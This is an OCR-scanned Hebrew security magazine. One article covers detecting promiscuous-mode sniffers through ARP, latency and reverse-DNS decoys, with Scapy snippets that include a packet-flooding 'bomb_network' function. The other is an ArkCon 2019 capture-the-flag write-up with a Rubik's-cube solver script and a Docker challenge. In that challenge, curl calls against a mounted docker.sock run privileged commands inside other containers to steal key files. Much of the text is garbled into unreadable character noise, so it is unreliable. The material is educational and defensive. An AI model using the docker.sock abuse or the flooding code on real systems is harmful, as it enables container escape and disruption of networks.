01:00:5E:00:00:02 M2 — — — — - - — X — X
01:00:5E:00:00:03 M3 - - - - - - - X - X
O: Legal response, X: Illegal response, --: No responsce
AR
X . q{s I {s- I x| “« L X XNxXxX 4 ]s x4 X e x| o, x
<~ 1Groupbit st 41 _ ~4s x0T s 1
Tx v, 1 4%s s« Multicast £ MAC - T XX 1 ¢+« T AGroupbit 14 *s .« X

< X Gloupbits < . DX x i L isxe X LB, s XA x4 {s)
00000001 : 00000000 : 00000000 : 00000000 : 00000000 : 00000000

X X X <
01:00: 00: 00: 00: 00
1. PEREE A s 1 T DX x o] <.|.|(.‘" B ,s"v
.SLA)S
(proadcast - * x ¢ 1 11+« AfRffffffffe » 2 s x ] s ) Dox oS x 7T XFT s s X
X IX"~ S L , s s X . LoL . XX
Fels X L, . s .« s

t(DEVICE_IP - device_ip))

print("De e is 1 5 -format(DEVICE_IP = device_ip))
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https://s3.amazonaws.com/academia.edu.documents/38745243/Malicious_Sniffing_Sys_Detection_Platform.pdf?AWSAccessKeyId=AKIAIWOWYYGZ2Y53UL3A&Expires=1549729488&Signature=XDvmLJNxTpO8RiMGJ%2BO9uG1lres%3D&response-content-disposition=inline%3B%20filename%3DMalicious_sniffing_systems_detection_pla.pdf

Technologic

. . H o X % ” X
A, 1.« s ¢ ocwindowsxlinux X X T x | X Wjreshark r *{ v
! Wireshark - Capture Interfaces l PR
Input | Qutput | Options
Interface Traffic Link-layer Header Promiscuous Snaplen (B) Buffer (MB) Meonitor Mode Capture Filter
» Local Area Connection ___ Ethernet default 2 —

Capture

Interface: |ethO
IP address: 192.168.237.128, fe80::20c:29ff:fe19:1d5F

Link-layer header type: | Ethernet 2 Buffer size: | 1 - mega

~

& Capture packets in promiscuous mode

- Capture packets in pcap-ng fFormat

Limit each packet to bytes

No. Time Source Destination Protocol Length Info
1 0.000000 Vmware c0:60:01 ffff:ff: ff:ff:fe ARP 60 Who has 192.168.237.1287 Tell 192.168.237.1
2 0.000018 Vmware 19:1d:5f Vmware c8:00:01 ARP 42 192.168.237.128 is at ©0:0c:29:19:1d:5f

‘Windowss T ox ]

C:\Users\bnaya\Desktop\scriptsrarp detection.py

Device 192.168.237.132 is in promiscuous mode.

Source Destination Protocol  Length Info
Vmware_c@:08:81 fr:ff:ff:Ff:ff:fe ARP 6@ Who has 192.168.237.132? Tell 192.168.237.1
Vmware_cl:808:86 Vmware_c@:808:81 ARP 42 192.168.237.132 is at @0:8c:29:c1:80:86
S S dx 1A
ICMPs 144 _ 4" L 1 xARPRequestS X -~ 14 _x € < s $71x, ]y
(4 1-Whdows* ) = x X, ICMP i ARR X . X1 < d4s _ px
L~ 1 x7

ARPs « X L X« S~ 1« L s " y X ¥ XL X KTl si{xq x
b XXl b S _dCMP LA L As L XX s s A L ) o xy 4

S L S S J - R _I ” J X s
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DX

~

Technologic

s DX X XX ey S widhexx o XX ,,Qﬁeﬁ SosIfcex™ s S L s X ] .
S WAndows X _ ], S x .1 ss _4sloIx IXxIfoo s ox ] 7y
><xxl_J),,s” L x| x € .oX « X X 4~ X X L X X A
(+:"JX S =XH+
oS " X< .) X ]. FEFEFEFEEEFEC & % x 4§ % 47 8 _ &% x "1 _
] x - s " x |7 X s ¢ X" 1L .8 = ] v X ., x 4 X L
X”L~ XHXJVS L
Latency test
L) . ' « XS X ., XXX % sy 1 L4 L
st L st Ixis 4 X4 ], A"
T X Lo+ 4 F S X TTx “ L s ,ox X P Frox
X4y 4 X, x XX .S Pl o % 5 xos 1"
X 4L~ 41T xx . o« Kemels, X% L T x4 XL X X
s 1., Ll -~ Ketnels o, sl x> {15 s Shiffer 1.4 v _4s o | For
+ YUser Mode. Kernel Mode, s & | ~UserMode* -~ _ , -~ 417 L s
IA-|s L. vx" . X ., X
T« 17, %8 XRTT royndtrip time) RTT «~ »~ « " 4. I x1 7 x7"]
s, ¢4 yls | s ] s X x L @ sl x s ] |, Iiscl X x s 1.
XL X4y s o x o Tex T C s ] s o, ] T 48 X
X”L~
Ces oA Ll s X s DORTTU D T AL X T
%o, ., S {11 . ] x s | x s s s 17 L X "X 4.
1x = XRTP . x{ s
IR I Lx T ox o, ] x €

S X 4SS L owr 4 XAl 4

S X .

v ~

Tis s 481 6 1s XRTTL X w5

o

P L X 3% 4

~

XX A4k

~ 5417

L8 ¢ s ox

> 1

X

XL A¥X 45 s

“

S

~

v

1 o~ A4 1>

%y - .
X XX o o

A

S

~

L

DA AL L XTI XS XX B X L ] s

S L g s Lo I x .

o Lyx x T e s S g XY 18Ty s O X X URITL X W s, v s s
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https://github.com/torvalds/linux/blob/master/net/ipv4/arp.c
https://he.wikipedia.org/wiki/%D7%94%D7%97%D7%9C%D7%A4%D7%AA_%D7%94%D7%A7%D7%A9%D7%A8
https://en.wikipedia.org/wiki/Round-trip_delay_time
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s X x sIsXi o Is 4§ XX ¥ " H .54 1% 1K1 xRTHd

>

X Lo xxs”

LD XST ey X h s XS AT TS X s s 8]
D ASE 4 X s s T, S L X XD e KX L 4TS x
s x 4 x x I I T S A L R B LX et
SN R O S S , S 71X N T
A A . i1, x¢ s 40DX S FS oL
_ . _Windows 7 _ 1 _ x , Phx s ox L X Windows 10« 1--%_

s _ ~single threaded : | -multithreaded s , -~ ¥ R R i

sH e s x L s” 4 s{4{” s threadk ¥ %

X "

X 1 x Cx "oxo, 0 .| X o« ~ ¥ S

without_noise = ping_measurement(target_ip)

noise_thread

noise_th

d.start()

time.sleep(SLEEP_BEFORE_MEASUREMENT)
with_noise = ping measurement(target_ip)

1.4 CICMPEche x _ 307 ¢ -% 1+« _~s 4]

*thread | 44!
T+~ L JoL

= threading.Thread(target=bomb_network, args=(target_ip, NOISE_AMOUNT))

.1 ~bomb _network~ {4 5 * €s s )xx” x XX 4§ s, *thread~ 1! 4" .9

.X ” §L

bomb

FDxstia X el T LY XX ] Xy,

L4 % S threads 1 1 1x

_network{device ip, amount):

raw_data = "lalalalalalalalalalalalal
fo

i xrange (amount) :
sendp(raw_data, iface=VMWARE IFACE, verbose=

59

Promiscuous Mode Detection
www.DigitalWhisper.co.il

« S

RN I B B
«%9y 1l RTT

X, 1 X o«
¥ ¢ threade ™ ¢ 15
VFXA”L x | ¢6"

,

20194 " ¥0A T x 4 L ¥


https://github.com/bnaya19/PromiscuousModeDetection/blob/master/detection%20scripts/latency_detection.py

Technologic

1y LSt
1126 3.081029 6c:61:6c:61:6cCc:61 6c:61:6c:61:6cCc:61 Bx6chl 72 Ethernet II
> Frame 1120: 72 bytes on wire (576 bits), 72 bytes captured (576 bits)
¥ Ethernet II, Src: 6¢:61:6c:61:6¢c:61 (6c:61:6c:61:6c:61), Dst: 6c:61:6c:61:6c:61 (6Cc:61:6C:6
> Destination: 6c:61:6C:61:6C:61 (6C:61:6C:61:6C:61)
B Spurce: 6c:61:6c:61:6c:61 (6c:61:6c:61:6C:61)
Type: Unknown (@x6c61)
¥ Data (58 bytes)
Data: 6c616c616c616c616cH16c616Cc616Cc616CcH16C616CE16CH]. ..
N annth- 501
0888 6c 61 6c 61 6c 61 6c 61 6c 61 6c 61 6c 61 6C 61 lalalala lalalala
0818 6c 61 6c 61 6c 61 6Cc 61 6C 61 6C B1 6C B1 BHC 61 lalalala lalalala
08280 6c 61 6c 61 6c 61 6Cc 61 6C 61 6C B1 6C B1 6HC 61 lalalala lalalala
0838 6c 61 6c 61 6c 61 6c 61 6C B1 6C B1 6C B1 BHC 61 lalalala lalalala
0848 6c 61 6c 61 6c 61 B6C B1 lalalala
vds v ds o g s " 4L 4 x iy e s ooxy
11 S X ox s * 1 x "Ly P X s ¢ . s
S .Y L . x 1 X X, 4Lsxvcx X" X 4=1"”V\v
.o X e s To o L T B *4 1.7 , « @ XL 1!
XL 4X T X4 L. x b L xKerpels 4 €, T 4 X
bods > 1 L, 1ox o x A, X e LT A
TL o 4s o 1L X x Dgtfernet S x| D XxJL K 4 os {s 4 X { ],
x 1 .s L 174 _ «-iPHéadet s 1L XX | LHY . T B I
17 v _ s STCP Fieader . 1, x % 13us % | L s {1l xs S
L I
bomb_network(device_ip, amount):
noise packet = Ether(dst=’ "Y/IP(dst=device ip)/TCP()
for i xrange{amount) :
sendp(noise_packe L iface=VMWARE_TIFACE, verbose=
oL X%y Tx ] x P A3 A Wbxis 4 s T AT
.Reassembly
s 40 Lo s .Y Lol . XX 1~ , 2x A st o g o x L8
0.013
I Without noise = L] 0.016 4 HEE Without noise L ]
o012 { MR With noise - ] . With noise L]
[ ]
0.011 - " " l. o014 L]
) [ ] . -l. = | ] - L] . -
_oowo| 4 ™ an= " . a _ 0012 . - . .-'
H L e L] L
S 0.009 I+
a -. - ] & 0ot UL - . ]
E o.oos = m = =
® [
0.008 "
0.007
‘ . 0.006
0.006 L] R oa?
. . LI .e . o . . * .
° . . 4 ° ™ ee o
0.005 * se o0’ ® o 0% 000 oooa] ®e Cere . °e o o...- .
0 s 10 15 20 25 0 0 5 10 15 20 25 B
Measurement Number Measurement Number
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https://en.wikipedia.org/wiki/IP_fragmentation

B

echnoloqgic

RTT (Seconds)
o
o
w

o
o
~

0.01 4

L] EEm Without noise
Em With noise
]
]
. "L (]
]
I.. n ....I.... LIl LT L]
. :I e o . ° °
ee®® o, o o e0e® e®e®® oo
T T T T T T T
0 5 10 15 20 25 30

Measurement Number

Fs Ao x 1 ls g4 x X

<
LRTF A
X”L~

. ¥ %

x I X s s X

s X s
« n S
. S ]

~ s~ L.

0.025 4

0.020 4

RTT (Seconds)

0.010 4

0.005

0.015 4

.

. X ., R “ L . { s 5 ]
. Em Without noise
EEm With noise
] ]
L™ I. L]
L [} L] ™
Egm [ ] L] g
aE, = " a =t om " .
* g °
L] L]
¢ ‘oat.‘l. oy ® * '.-".o-‘..
5I IID 1‘5 2‘0 2‘5 3‘0
Measurement Number
fox., x"17 s =% x
S TARTE 4 lewS _ Iy SX 100X "X 1 psq yITx
X . s {qs L. s _RTPx 1.
x4s p 4L xT1s oy d_ xXAq.s

Ly ooutlierd L % HH 169 14 .

o XL an

Tk Y %41 4+
FeSA T A SkLt o X o

204 4 _ .0

+11

: I-S'I "+ X .
F DX “

Xy x € q

. X =4 x {1 X 1L s X X x 1 x 1 % . X
L 1Yy . x X
°
1% s 2 N B B S R LU TR N B = & PR SN R
> v < ¥ o~ ~ A L ovoa v v o~
X dsxXs D oqs o, 17 20 XKW LRTTE . 20 1. 17
0.018
HEEE Promiscuous
H Not Promiscuous
0.016
w
o
c
o
1
v 0.014
E
(-4
o
o
o
@ 0.012
>
a
0.010

15.0

17.5

20.0
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https://he.wikipedia.org/wiki/%D7%97%D7%A8%D7%99%D7%92_%D7%97%D7%A9%D7%95%D7%93_%D7%98%D7%A2%D7%95%D7%AA

Technologic

LIX s o 4t dds . xa s X s gL lsx 1o
S WX, {s L s { s S L X Y s s X« s L F
x ot A x A x T e LT X e XX X RN s AN s
« €L x " fragmeftd | X K IR X X § o (AKX L xTxy .0 x 1 4s
L, 41, . x7 ouliers p X1 x s oxTx o 44" xg s X944 s
Fd 1 s T D T e T Yo s T PR s X ex ] T S X
x I Q1 S =] % Fd1 X ox L, s - x_‘-|5-|,,,_ssj]51“
X Xgs X e 4 T X s 4 X T T X P ST x|
Lo oA e d x4 58" X x X T o x bl X il oo XL s ]
: 5 ,,Zs\( {1 S~ 1Thrgad$ ] x Z°>§< 5y X vux~ls X s 1x RS LS
i xrange (amount):
noise_packet = Ether(dst=" :a ‘)/IP(dst:device_ip)/TCP()|
sendp(noise_packet, iface=VMWARE_IFACE, verbose= )
FERNNEEE S B S| S T PR SR
X Js I x o TT AT X L D x4 D4 AX s ] s ssq L L1
s «~1x 5 % Thread. _ICMP Echo * _ + X {4 _$xx s™ "x” 4x, ., 41 | H{
Tx A 3Ty Tos Lxox Pl s XL 141 s ox L pE o x L X
Tox T x X kL, PR oxs T I8 4 HYL 41 x X H 14 AScapy* 4Ll I xRk X
s S dx 1A
=v¢ 1,1t 4 Lo .S . Latency Tedt . - 14+ x> X" X" 4 s{¢”
X L s X X y S
T T o R T SN oA x4 y I 2 U R
L « s X, L I (X, = ¢ ] x\x) s X x
104« I T B v X v v s
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DNS Decoy

DXy s ™ s X loos o LX ©  ssXqx{y . s = C X x | Xx¥s " xsX x I d xys

R I T
L e e s X FAdrdd T4 d by g4 40 b A
LX wls 1o Dotain YHAPSE x4 X U] b ¥ L. lL v 4 P X pdxs g

~ DNSs LLETIDNS Lox wx ix X x4 L X S . K4S xox

s 7 x k_ss ] 40ONS L~ S ¥4 s o  Horwdrd DNBIP x:vx * x T | |+ {744 x|
AT AP ixxox D] X('DNG Reverse DNS |

FORWARD DNS

What's the address of google. com?

¢ It's 216.58.211.142

REVERSE DNS

Whois 216.58.211.1427? .

e It's google.com

[https://www.leadfeeder.com/blog/whatis-reversednsand-why-you-shouldcare ~: * } _

Lo d-r e X P« x 0 X w8 OXx]s oy Yy Lo LN . T
14 _ x1 s -sXxy .4 48575 C s S ARS s 1D XXDNS & vy 1w XSS X

IPs DX oxol] B EXC o,

:Capture Options 4 Is b xx % D <Wiresharky s . 71 {7

v oo~ a

Name Resolution

& Enable MAC name resolution

(1 [Enable network name resolution|

& Enable transport name resolution

(LY s DX oo xDxo 1%L Teptdmp* 4 1% 4
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https://he.wikipedia.org/wiki/Domain_Name_System
https://en.wikipedia.org/wiki/Reverse_DNS_lookup
https://en.wikipedia.org/wiki/Reverse_DNS_lookup
https://www.leadfeeder.com/blog/what-is-reverse-dns-and-why-you-should-care

ww oSS x o, T 1, 1L x " x * x{ Reverse DNS Lookups - - 7 x s |

detect promiscuous():

fake_ip_address = get_fake_ip()

request_packet = Ether(dst=FAKE_MAC)

request_packet /= IP(dst=fake_ip_address)

request packet /= TCP(sport=randint(1025, 65535), dport=88, flags="S")
sendp(request_packet, iface=VM INTERFACE, verbose= )

dns_packets = sniff(filter="udp 3", timeout=MAX TIMEOUT, iface=VM INTERFACE)
et_:

sniffing_hosts = get_sniffing_hosts(dns_packets, fake_ip_address)

if len(sniffi

print "Found sn ) in the " _format (SNIFFERS_NUMBER=len(sniffing_hosts))
for host sniffing hosts:
print " C : : " _format(MAC ADDRESS=host[@], IP_ ADDRESS=host[1])

X T st X TS o X T 1T h d Ly T 207

LS T B R ST IR IR I TR N B 2 M B S S N B
Ay 4 X

ST X XX 1Y 4141 s s™ PL X x Ii]es , | Sgat_fake ips 1 « ~ 299 S

e SO X T TS o T AR x e T sxxs T T L F A sdd | 1

~ > > v

-s X XX x 8 g x kg X A ST X i dp S-DNSs 1o s X ox o x X

A ~

Tox o Dxs, LS sl xResolution, « Frue X 7 4.4 7 T ST XS e, 80X
IDNS X _ o~ X%
C4 xiex xsis o T L {x{3BX1 3P
CONS X _ - X9 B30 .~ X1 X" x YDPL _ _ DNSudp: X 1w X IV x5 {738
CABNS: | b oxx 0 X Isx 1.l sq .l o . yet sniffing_hosts 1 . « 39 s

~ > v

s s XxX T, 4] FXXS X {SY Lok o X x I DNSX%. X x 1D oo 1ox X

v o~ ~

x
X
x
G
.y

XWX K] 4 X kTS Xk X T _p 4. TLilsg X

~ < v > o

X i S

U7 T~ 2o s . Kk jget sniffing_hosts x ~ Ci1x x xl | si4el )41

~
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https://github.com/bnaya19/PromiscuousModeDetection/blob/master/detection%20scripts/dns_detection.py

Technologic r

A v

Name. _  s+1s. _ Nirgshark F Y X (CAtdpdump At ey X)) 4 . < S
:( * ~ _  Resolution

root@osboxes: fhome /osboxes# tcpdump
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth®, link-type EN1@MB (Ethernet), capture size 262144 bytes

x 7 { i X x | ”oX X " DX X € S X XX
: 1 Anti Sniffer 1 1o " o .
No. Time Source Destination Protocol Length Info

1 0.088000 10.1e0.102.18 3.3.3.3 TCP 68 13658 > http [SYN] Seq=0 Win=8192 Len=0

2 0.328739 osboxes. local 192.168.237.1 DNS 80 Standard query PTR 3.3.3.3.in-addr.arpa

3 5.066500 osboxes.local 192.168.237.1 DNS 80 Standard query PTR 3.3.3.3.in-addr.arpa
No. Time Source Destination Protocol Length Info

1 0.606008 16.160.182.18 4.4.4.4 TCP 54 58895 + http(88) [SYN] Seq=8 Win=8192 Len=8
[ 2 9.881352 192.168.237.128 192.168.237.1 DNS 8@ Standard query @xcc23 PTR 4.4.4.4.in-addr.arpa

3 5.819982 192.168.237.128 192.168.237.1 DNS 8@ Standard query @xcc23 PTR 4.4.4.4.in-addr.arpa

1L S X

C:\Users\bnaya\D
Found 1 sniffer(

192.168.237.

s ¢ x1l A

X 7 XK w8 e XS X X s L, x % " ONSDecoy ¢ 1 4 ox 7 s L ] X

X 718 DX P XT X XS 4 0L 4 K8 xS I DNS X 3 E xS

FAd X1 S T X x P e T IX P d e
THrwe X X% 4 47T, X108 xx ¥y s " s Coov 3 s o B A xSt o xs X Dy

ML EE N R VRS S I RN PR NN RSN

Resolution, « *~ws ~» | wxss{g . .

IP:x X x 1]
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Foxol A

T T R L SR I A b S B RSN B B I BN SN LU SN

ICMPXARPA L X w X 100 L4 X " 4387 % Sxmst 31 fs o 41w KX

~

LX“:LSXLE‘|Y:"V'|1+'IJ-'|A: x'|I:-|xs,,,_x:vx|_~.|x]-HL~=x,,“|_-|AZ xs Xl X

X A AR X T s X

o e K0 2T T X e x T o Tsx D s ] Y s T
CRirewalll X )b A4S X XY T T M XY X wxX,

AL S D s IR ST T " IS Rtency (1 4 X T LTl T - L

~ v o~

v oS Y L WXE X X1 74 ls ¥s 1L s X xy . s¢X%

~ ~ v~ ~ ~

LR T I 2 B L N BRG i LNl L I B S S A IR S R B B
SXR D aDNSE X Do 4 e
v xo T osox b {ixdesy ylgtéhcyl | ) ¥ T AL s AT DTS R ASA T dd S x 7
e XS A Tl A s L XX X oy 4 X ss{190 . s X ] X Ealse Negatives
S CT] JeeXxisXx o I-|xA xV_XJ’ X
X s X I T A AT X T o e s s T T s g X L s xS
LS e A ST e B T X s TS XTI o s {6y

ko lx 4 x D o x fuxs ]l p oy SX 1T 4 X smteneys C 14 pd 1o x4 X

CxX T IS L TARPY L X A A e T oeaSx T A7 o SoX s, X X T {87 s A

.Y L s NI

v T ~ a v o~

_X : b4 4 J'i s L'I _In "g ‘xl ~ _]: X :} v I-S :v _I " g ¥ X~'I“”V‘-

» ~

DX X T OO K 1 XX X T kX aels ¥ T e WS x
X, S F X 18 isx x % X p X ¥ = X P sl x4 4 19 ss % 1 4s | *x
[ R S | "l L s« X 8 XL ’( SOk x o x o0 Xx L]0 % ,,)S(XL: PO D N s

S I L N R [ 2 I PN DRI (S RTINS S T £ L B SR S B

.01, AAss! x o
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., X “SZ”’XJ ¥ X . -|=>-|><-| ” s, T Xv: s) $ 4 Lo ><><-|~”'|xv¥-|sxA | j’i | x]j'gv= Xs,-| LIRS
x 4 #1141« + JbhayaYoo@gmail.coms ¢ ~ ¢ Jd 4 x 7T L4 4T 11 X x

. XS IR C RS PN A NN N S T O e x

T v v

https://github.com/bnayal9/PromiscuousModeDetection/tree/master/detection%20scripts

A T L TR T I

1 https://en.wikipedia.org/wiki/Promiscuous _mode

1 https://www.cubrid.org/blog/understandingcp-ip-network-stack

M https://www.gatevidyalay.com/ethernetthernetframe-format

1 http://www.just.edu.jo/~tawalbeh/nyit/incs745/presentatns/Sniffers. pdf

1 https://slideplayer.com/slide/9510821/

1 https://www.leadfeeder.com/blog/what-is-reverse-dns-and-why-you-should-care/
X T sy Pl X

M1 http://www.securityfriday.com/promiscuous detection 01.pdf

1 http://hadmernok.hu/132 27 nagyd 1.pdf

1 http://hadmernok.hu/132 28 nagyd 2.pdf

1 https://pdfs.semanticscholar.org/e71d/fb3740226866072518720fc217891elbd4.pdf

1 http://www.Isv.fr/~goubault/SEG02/Final/actesseci02/pdf/008Abdelallahelhad].pdf

I https://www.iasj.net/iasj?func=fulltext&ald=29687

1 https://gupea.ub.gu.se/bitstream/2077/1159/1/Nr_3 DS.pdf

1 http://www.lsv.fr/~goubault/SECD2/Final/actesseci02/pdf/008 Abdelallahelhadj.pdf

9 https://shodhganga.inflibnetc.in/bitstream/10603/108363/9/09 chapter%203.pdf
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https://www.cubrid.org/blog/understanding-tcp-ip-network-stack
https://www.gatevidyalay.com/ethernet-ethernet-frame-format
http://www.just.edu.jo/~tawalbeh/nyit/incs745/presentations/Sniffers.pdf
https://slideplayer.com/slide/9510821/
https://www.leadfeeder.com/blog/what-is-reverse-dns-and-why-you-should-care/
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http://hadmernok.hu/132_28_nagyd_2.pdf
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Dvd848* YaakovCohen88: -
S « S
1.y R AikGCoth 2039 " | _CydefArk ,. . + 1~ Y « s T
L L X% X T T X, L, s I 127 s {1l x4
DVl X G e Y e XU e Se TSROL N XX w0
(- x I 100,000 IAMCu*e #1~ ¥ - -«
Challenge *
IAmCu*e
100000
Saying goodbye can be difficult
Flag Submit
« XS '|L>S ~ s <, " y o oL

18.197.75.

w! rA rB yH yK rF
rG bT oU

o- ol b-

gl w0

wl

| oT WG gE w g- rl bE
b

o0 bE wY

o
(=]

Please enter an input in Base-12:

101 1337

X4 n]roox D
.

6 8
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https://thearkcon.com/challenges
https://www.digitalwhisper.co.il/files/Zines/0x6A/DW106-3-ArkCon19.pdf

Technologic

er an input

gE bI y

glb w0 wl
rG bT oU
o- oI b-

| ~
Al gL

er an input in Base-12:

- AOX T es T ol e e s 4 o d ]

i,y 7" xs s 4 4Xx x

X s X , X (s L s " X « .S X « S . XS =X « ., S X s p o] x x
X X ”

.l s 44 Xxos ] 4 X X

1.0 7 xs s 4 XD X, X Xp o sl liyix o Xg 204 D
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https://ruwix.com/the-rubiks-cube/how-to-solve-the-rubiks-cube-beginners-method/

Technologic

[ g W] W]
& B
Uu L

F R

@ =
L (] o]
(TS (T[] PT1]

Fl Rl Ul Ll Dl

s X x s e Lx o X T s T x0T s x s X DX ] sy

LXn o e x A Fds 200X s v ¥ T e TX e o P A o

T S B B AN S s {4 % x . XDy x T4 0L+ A ot FosoL ] 1L %X~
e Y « 414 X”X_-F}g‘_J,’:ZJX-|-|,1’¥>’i_xs_|xe_-|><x“ =x,,:>|_ ST x
S s v s A4, s Yy X o4 4L s ixe L4 s ] x T
Al s ox x> ke AT XA e A e X 4t XS o0 X ] s 4 X
X”L,., s {4 % x s . Y K| L*kXXi r o1 ¥ )14"
T XS = X . X Y x4 Eloxoo X" .

X v lx ]
(uyp
(UEFT  (FRONT  (R)IGHT  (B)ACK
(D)OWN
X L % X
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https://github.com/muodov/kociemba

Technologic

s x4

”

-l U 5w, s, 1 P4 s : L N T A O R

v~

7. sq{4Xx.os .« FEDLBSIRX ,sd48-., I

(F-|xx|_”s F X X s oL , X s L :x.|:x\s) s {47
s b s 44, s A X x4 X
L 1) s7 L . , Se S i « S L 1s
FSoord s T e Y x b

W

(0] G R B
Y
L. o~~~ 4 X 1447 0 o« vuwr % HA S 8 0 A%

o~ s d A, s (T e xs s 0 s L 1s ) Ty
WP L U TNt xR s s v ey
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. X s Y X o sy XX X4, N D S

wY w0

rL rA rG b- bI bS
r0 rl rG bE bT by
rF rA rB bE bE bR

import  kociemba
import itertools

from pwn import *
import  time

MENU_STRING=

(cube_arr , face ):
return  cube_arr [face ][ 1][ 1][ O]

(lines ):
cube_arr =]
rows = []
for line in lines .split (
line = line .rstrip ()
if line I= :
rows . append (line . split ())
assert (len (rows) == 9)

cube_arr .append ([ rows[i] for i in range (3)])

for i in range (4):
cube _arr .append ([ rows[3 + j][ i * 3: i * 3 + 3] for j in range (3)])
ArkCon 2019 (OnSite) ¥ & |
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cube_arr .append ([ rows[i + 6] for i in range (3)])

assert (center_color_at (cube_arr , UP

assert (center_color_at (cube_arr LEFT)
assert (center_color_at (cube_arr , FRONY
assert (center_color_at (cube_arr RIGHT)
assert (center_color_at (cube_arr , BACK
assert (center_color_at (cube_arr DOWN

cube_arr_new = [cube_arr [UF, cube_arr [RIGHT], cube_arr [ FRONT,
cube_arr [ DOWN cube_arr [LEFT], cube_arr [ BACHK]

retur n

.join (list (itertools . chain . from_iterable (itertools . chain . from_iterable (cube_ar
r_new))))[: 2]

r = remote ( , )
data = r.recvunti (MENU_STRING drop = True)

print  data

cube get_cube (data)

cube cube . replace ( , ). replace ( , ). replace ( , ). replace (
). replace ( , ). replace ( , )

moves = [ , 5 :
sol = kociemba . solve (cube)

print . format (sol )
formatted_sol =1

for command in sol . split ():
num_commands = 1 if not in command else 2
clean_command = command rstrip  ( )
for i in range (num_commands):
formatted_sol . append ( str (format ( moves. index (clean_command ), X' )))

print . format ( . join (formatted_sol )
r.sendline (" .join (formatted_sol )

output = r.recvuntil  ( , drop = True)

cubes = output . split (MENU_STRING

print  cubes [ - 1]

print .join (cubes[-1]. split ( )). replace ( , )N 1 2]
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rG
WG
wY

wl oT bS
g rid rG
v& yT o0

W
!

Steps to solve:
R2U2 F'" B" RLFL"D"F2R B2 2 U2 R2 U' D2 F2

Formatted steps:
3, 8, 0, @, 5, 7, 8 a, 4, b, 3, 4, 4,

4, 6, 6

o- oT oH
: ol

oR

YOUGOTIT!-THE-FLAG-I5:NICENOWGETYOURS ABEER&KIORTOSH
[*] Closed connection to 18.: i)
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(- x | 80,000 Inception #2. ¥ : «

Challenge *

Inception
300000

Flag

Submit

omething was stange"”

1»~_s X 1 _s containgrs . x 15, % ], | . X L ]
X X 4% % 9§  container i+ Inceptibn 1~ . s 1 x . X {x "X Y Io.os
(1~ ., ~%xcdbb Yy x<xs ) s iAo 7

~ o~

flag key.partl m
> cat message

bk, wake up..

If you read this message, it means you successfully got inside a dream of Saito

Get the encoded flag and find the three keys to decode it.
he rumor is that Saito placed them in the same place but in different dreams:

in his first dream
in his ond dream

> in reality

r Stephen Miles
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https://en.wikipedia.org/wiki/Inception

/home cat flag

s
{cP=aah (H[k_!XAl!lg WVEa90M D7 .2mh2C| |otCrul s
5

> cat keyv.partl
-BusLESO | T#0=4jEqkl{7[

R T S X 14 L . s N FLoxo oS . ¥ o X x | X% cxq S

.Docker v _-comtdiner, s 14 . >L x4 130 0 1xdx]4qXx.,Xxx

97 " x4 . ¥~ 4§ ¥ s/varfrun/decketspck s 4s x4 1 v LT~ b
x L x + _« *xDocker i .daemonsl ¢ Sockets x BSidesTlV 20184 ~ ¥ P ~ T x .
, bAoA x 0 v A« Y 4L "ecentainers” X | xdaepgiodsT Xk 14X U< tALL X
~d17 . o« xs 4,5 contaitier . XX 1 1 XTSI ol N4y . TR ox
.Dockers * |~ L S+«
17 X -céntanerd™ CX o LX s oL x s 4 Ts o T
s | x o S X N

newton"], "Image i ( 1a256:8a
3eH1)H4£3HQEdf5 . : ; & b, "C mnand":"fhin/sk
"WANTT O ak y We rwal
! : 66, "Ports":[], =
running","statu_ "Up 17 minutes”™, "_ : { "NetworkM
kSettings"{"Networks"""bridge {
NetworkID" p
FO™, "EndpointID"
PvEeGatewa
ac:12:00
blnd“ "Source":"/ al/run!dockwL sock
= ", “PW".t gation":"rprivat
732c5b6108dcB8aldl14241b11£2d0556b56e212d42fc3f™, "N
: kerid7/dreaml.1 light","ImageID":"sha256:da7
uad_~H41=4ae 388 yfe9de3 L 4. d: 7Jala551", "sh -c !
while true; d ed™:155731( s "Ports":[], "Lales""‘ "State
":"running" : y 17 minutes"™, st ": {"NetworkM d:":"d~fdulf"+,"Netw
nfig":null, "Links
s "NetworkI 295! ) ; ) “Bdr141H151ﬂdeH3df“ad4.
EndpointID 8
5™ = -18. "IPPrerl"Len" IPveGateway"
alIvaplefleen":u,"Macaddrc " 42:ac:12:00:
:[11H]

[{ "ld" :"c33004f0bc60ea9384b76a1d005816041872b10a566eda5a20990cf6149cec27

, "Image" : "mydockerid7/dream?2" 1
{"ld" :"1 dc62a9336538ef6b92732c5b6108dc8a0d14241b11f2d0556b56e212d42fcof"
, "Image" : "mydockerid7/dreaml.1_light" 1
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https://docs.docker.com/engine/reference/commandline/dockerd/#examples
https://www.digitalwhisper.co.il/files/Zines/0x61/DW97-2-BSides2018.pdf
https://www.digitalwhisper.co.il/files/Zines/0x61/DW97-2-BSides2018.pdf
https://docs.docker.com/engine/api/v1.24/#list-containers

Ix 47 s ¢ | -tontainer ¥ 7 . s pXxJI5 L 1L AIA X

Poxbx PS4 1.0 v 4L x 14 x77

> A o

curl -XPOST -- unix -socket/var  /run/docker.sock
http/v1.24/containers/ <container_id  >/exec -H"Content -
Type:application/json” - d '{"AttachStdin": true, "AttachStdout": true,
"AttachStderr": true, "Cmd": ["Is", "/home/"], "DetachKeys": "ctrl

p.ctrl - q", "Privileged": true,"Tty": true, "Use r': "cobb"}

AttachStdout” true, "AttachStder
"ctrl-p,ctrl-g”, "Privileged": t

claef"}

bd1bb63desdfias 0d450£8
n" —-d "{"Detach": false,
key.partl message

S XHome 444 T IXxI 1. eontdingrs X1 X $SSTF X" xT s xCs
« I Y« _ L. .x._ 1 xohtainers . + X X|slLw xSl 4 ¥, s "
S . Xs 14X ooX x DX . X 11 s

~ ~ ~ N ~
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https://docs.docker.com/engine/api/v1.24/#exec-create
https://docs.docker.com/engine/api/v1.24/#exec-start

B Technologic r

s « XS . v o« 11 =141 -1 5] 854 407" s s ¥k x ., s y k x X
x{command i@ -~ o+ fawk* _ x4 L x o 9ysdn 4 & x . F Doxso, xO x
L X s {1 N : s | x o s . s
/home % cur ¥ P ix—5 t /var/run/docker.sock http/vl.2 /5 {curl -s
cker.sock http/vl.24/contai Hrs/li 62a9336538ef
dc8a0d14241b11f2d0 b56e2 42fcof/e -H "Content-Type:applicati
'{"AttachStdin": ue, "AttachStdout": true, "AttachStderr™: true, "C
"/t "], "DetachReys": "ctrl-p,ctrl-g", "Privileged": true,"Tty": tr
obb™}' | awk -F'"™' '{ printf $4 }')/start -H "Content-Type:applicat
'{"Detach": false, "Tty": false}' —-—-output -
key.part2
